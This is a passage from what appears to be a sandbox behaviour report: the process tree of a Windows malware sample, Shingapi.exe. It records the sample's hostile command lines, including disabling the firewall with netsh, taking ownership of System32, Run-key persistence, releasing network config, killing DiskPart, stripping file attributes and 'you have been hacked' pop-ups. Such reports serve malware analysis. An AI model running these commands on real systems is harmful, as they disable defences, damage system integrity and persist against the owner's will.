        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9200
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:9208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:4292
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:5592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:7556
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:5760
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9088
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9088
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:6908
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:9544
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:9784
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:5864
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:9696
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:6552
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:7128
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:9704
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:5792
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:2844
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:9752
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:7868
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:8984
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10412
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10684
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        8⤵
        
        PID:11220
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:7988
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8A35.tmp\8A46.tmp\8A47.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:7272
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:10948
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:11308
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:11428
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:11580
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:11732
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9D30.tmp\9D31.tmp\9D32.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:11900
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:11840
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:11988
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:12116
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:12272
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:5080
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B5C9.tmp\B5CA.tmp\B5CB.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:10388
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:9228
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:7248
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:12140
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:8896
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:7288
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:7744
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:8196
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:8204
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:8012
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:9080
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:5472
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:4848
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:8628
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:3504
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      Modifies registry class
      PID:2144
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      Modifies registry class
      PID:4264
  - - C:\Windows\system32\mspaint.exe
      mspaint.exe
      4⤵
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5040
  - - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
      C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
      4⤵
      Executes dropped EXE
      PID:5032
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EC44.tmp\EC45.tmp\EC46.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        5⤵
        Drops autorun.inf file
        
        PID:216
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        6⤵
        
        PID:6016
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        6⤵
        Modifies Windows Firewall
        
        PID:6024
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        6⤵
        
        PID:4768
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        6⤵
        
        PID:5996
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        7⤵
        Modifies file permissions
        
        PID:5636
      - C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        6⤵
        
        PID:5164
      - C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        6⤵
        
        PID:6120
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        6⤵
        Gathers network information
        
        PID:6028
      - C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        6⤵
        Kills process with taskkill
        
        PID:5176
      - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        6⤵
        Views/modifies file attributes
        
        PID:5284
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:1544
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:3800
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:5176
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:5464
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:3372
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:5900
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:4316
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6164
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6200
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6260
      - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        6⤵
        
        PID:6276
      - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        6⤵
        
        PID:6476
      - C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        6⤵
        
        PID:6568
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:6604
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2A95.tmp\2A96.tmp\2A97.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:6816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:3264
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        9⤵
        
        PID:8776
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:6908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:7608
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:9496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:9536
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:9768
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9832
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9912
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:10160
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:5792
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:5476
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:8404
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10272
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:10464
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10636
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:11012
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:11020
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:11028
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:11048
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:11128
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:11172
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10436
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10392
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        8⤵
        
        PID:11692
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:12044
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A7EE.tmp\A7EF.tmp\A7F0.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:6560
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:12208
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:11352
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:7820
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:12032
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:7280
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C3A4.tmp\C3A5.tmp\C3A6.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:11464
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:12228
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:12304
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:12448
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:12636
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:12716
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DFD7.tmp\DFD8.tmp\DFE8.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:13076
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:12912
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:13028
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:13180
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:12408
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:6616
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:6632
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:6664
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:6688
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:6792
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2CB8.tmp\2CC9.tmp\2CCA.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:7024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9424
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        9⤵
        
        PID:9956
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:9748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:5612
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:6176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:6388
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:7540
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9988
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:7444
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:8704
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:8560
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:10948
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:9820
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:5840
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:12112
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:12492
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:6956
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:7048
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:7140
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:6280
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:6532
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3062.tmp\4D8F.tmp\4D90.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:5384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9220
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:9400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9660
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        9⤵
        
        PID:9740
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:9868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:9948
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:5360
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9984
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:10208
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:5264
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:6572
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:8160
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:8416
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10300
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:10488
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10572
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:10592
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10612
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:11100
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:11248
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:6344
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:11400
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:11680
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:12076
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        8⤵
        
        PID:8808
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:11308
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D046.tmp\D057.tmp\D058.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:12608
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:12296
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:12416
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:12624
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:12808
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:12964
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E63F.tmp\E640.tmp\E641.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:13248
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:13100
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:13236
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:10144
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:12616
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\570.tmp\571.tmp\572.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:1244
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:3752
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:9796
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:10672
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:2752
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:6524
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:6928
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:7100
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:6808
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:8592
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:8408
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:8840
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:8552
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:9096
